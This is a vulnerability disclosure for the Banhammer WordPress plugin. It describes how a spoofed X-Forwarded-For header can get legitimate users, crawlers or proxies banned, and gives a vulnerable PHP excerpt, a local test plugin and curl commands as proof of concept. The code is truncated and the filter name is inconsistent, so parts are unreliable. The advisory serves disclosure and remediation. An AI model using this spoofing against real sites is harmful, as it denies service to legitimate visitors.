DOS through IP spoofing – (Banhammer <= 2.9)

| in

Affected pluginBanhammer
Active installs900+
Vulnerable version<= 2.9
Audited version2.9
Fully patched version
Recommended remediationNever configure the plugin to use anything but REMOTE_ADDR for IP detection.


An attacker can use IP spoofing to ban legitimate users, search-engine crawlers, or a site’s reverse proxy.

This becomes possible as soon as a site owner changes the default IP source of the plugin by using the “banhammer_ip_keys” filter.

Proof of concept

The plugin handles IP detection better than most WordPress security plugins since it always uses REMOTE_ADDR by default.

However, as soon as this behavior is customized (by using the documented filter “backhole_ip_keys”), this changes and the plugin is wide open again to IP spoofing.

The plugin uses the banhammer_evaluate_ip function everywhere it needs access to the current request’s IP.

function banhammer_evaluate_ip($proxy = true) {
   if ($proxy) {
   } else {
   $ip_keys = apply_filters('banhammer_ip_keys', $ip_keys);
   foreach ($ip_keys as $key) {
      if (array_key_exists($key, $_SERVER) === true) {
         foreach (explode(',', $_SERVER[$key]) as $ip) {
            $ip = trim($ip);
            $ip = banhammer_normalize_ip($ip);
            if (banhammer_validate_ip($ip)) {
               return $ip;
   return esc_html__('Invalid IP Address', 'banhammer');

First, create the following must-use plugin on a local WordPress installation.


// wp-content/mu-plugins/ip.php

$load_balancer_ip = '';
$_SERVER['REMOTE_ADDR'] = $load_balancer_ip;
$real_user_ip = '';

 * This is how a load balancer will create the header. Always appending to the right.
 * Not doing so would validate the HTTP spec.
    $_SERVER['HTTP_X_FORWARDED_FOR'] = $real_user_ip;
}else {
    $_SERVER['HTTP_X_FORWARDED_FOR'] = $_SERVER['HTTP_X_FORWARDED_FOR']. ','. $real_user_ip;

if(!isset($_SERVER['HTTP_TEST_IP'])) {

add_action('wp_loaded', function () {
    add_filter('banhammer_ip_keys', fn() => ['HTTP_X_FORWARDED_FOR']);
    echo banhammer_evaluate_ip();
    echo "\n";

Then run the following commands:

curl -X GET https://local.test -H "Test-IP: 1" # This is correct


curl -X GET https://local.test -H "Test-IP: 1" -H "X-Forwarded-For:" # We spoofed the IP

Proposed patch

The needed patch is described in great length in this article of us.

Summary: Only ever use REMOTE_ADDR to access to current IP.


Vendor contactedSeptember 13, 2022
First ResponseSeptember 13, 2022
Fully patched at
Publicly disclosedApril 24, 2023


Leave a Reply

Your email address will not be published. Required fields are marked *